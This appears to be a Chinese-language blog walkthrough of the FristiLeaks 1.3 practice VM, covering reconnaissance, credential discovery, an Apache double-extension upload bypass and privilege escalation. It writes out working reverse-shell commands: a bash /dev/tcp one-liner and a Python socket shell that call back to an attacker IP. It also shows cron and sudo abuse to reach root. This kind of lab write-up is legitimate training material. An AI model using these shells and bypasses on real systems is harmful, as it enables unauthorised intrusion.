FRISTILEAKS: 1.3超详细靶机实战

一、网卡配置

网卡设置为nat模式,并修改mac地址为

08:00:27:A5:A6:76

 

 开启虚拟机后IP地址在终端显示

 二、端口扫描

nmap 192.168.121.183 -A

 开启了80端口

访问

三、web信息收集

1.目录扫描

dirb 192.168.121.183

没什么可用信息

访问web服务找找功能点

 貌似没有可用功能点,拼接访问robots.txt

给了三个路径,访问看看

发现都是这张图

给了说明:这里不是正确的URL,还得继续寻找

最终我们拼接访问首页的FRISTI,发现新页面

 

 尝试弱口令爆破和sql注入,都无果

最后F12查看页面源码得到提示

说是对图片进行了base64加密

 这是加密的值,我们对其进行解码

base64 -d decode.txt

发现是一个png类型的文件

我们将其输出到png文件中查看

base64 -d decode.txt > decode.png

 可能是密码

我们再利用源码中的留言者作为用户,尝试登陆

eezeepz
keKkeKKeKKeKkEkkEk

登陆成功

 出现了上传文件的功能点

四、getshell

上传一句话木马,失败

这里想起来它的中间件是apache

 可以利用apache的解析漏洞,去绕过

在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png

 上传中,我们去提示路径下查看

fristi/uploads/shell2.php.jpg

 

 成功解析

用蚁剑连接

成功获取shell

反弹shell

先用kali监听4444端口

nc -lvvp 4444

蚁剑打开虚拟终端 输入

bash -c 'bash -i >& /dev/tcp/192.168.121.171/4444 0>&1'

 

 反弹成功

五、提权

1.sudo提权

sudo -l没有权限,查看home下的用户

发现有admin、eezeepz、fristigod三个用户

在eezeepz家目录下找到notes.txt

 翻译一下:

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/

不要忘记为每个二进制文件指定完整路径!

只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次

可以在/tmp/目录下放一个文件名为runthis的脚本文件,反弹shell

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.121.171",8888));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

 我这里使用kali开启远程服务,下载到目标机器上

 

然后运行这串命令

echo "/usr/bin/python /tmp/rev_shell.py" > /tmp/runthis

 kali开启8888端口监听,反弹成功

 获取admin用户的交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

 

 看看有啥

 有两个txt、两个py脚本,看看里面有啥信息

有两串base64编码值和一个编码脚本

whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq


cryptpass.py
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

 我们对脚本进行反向操作,将加密改为解密

import base64,codecs,sys

def decodeString(str):
  rot13string = codecs.decode(str[::-1], 'rot13')
  return base64.b64decode(rot13string)

print(decodeString(sys.argv[1]))

 将其保存到kali上命名为1.py

运行1.py脚本解密两串base64值

 第一串值疑似fristigod用户的密码,我们尝试登陆

sudo -l查看具有sudo权限的程序

发现可以fristi权限运行/var/fristigod/.secret_admin_stuff/doCom

 尝试以fristi权限运行一下/var/fristigod/.secret_admin_stuff/doCom

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom

 说是该/var/fristigod/.secret_admin_stuff/doCom文件后面得跟着命令

输入个id试试

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

 是root权限,那么我们可以获取root的shell

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

提权成功

  • 26
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值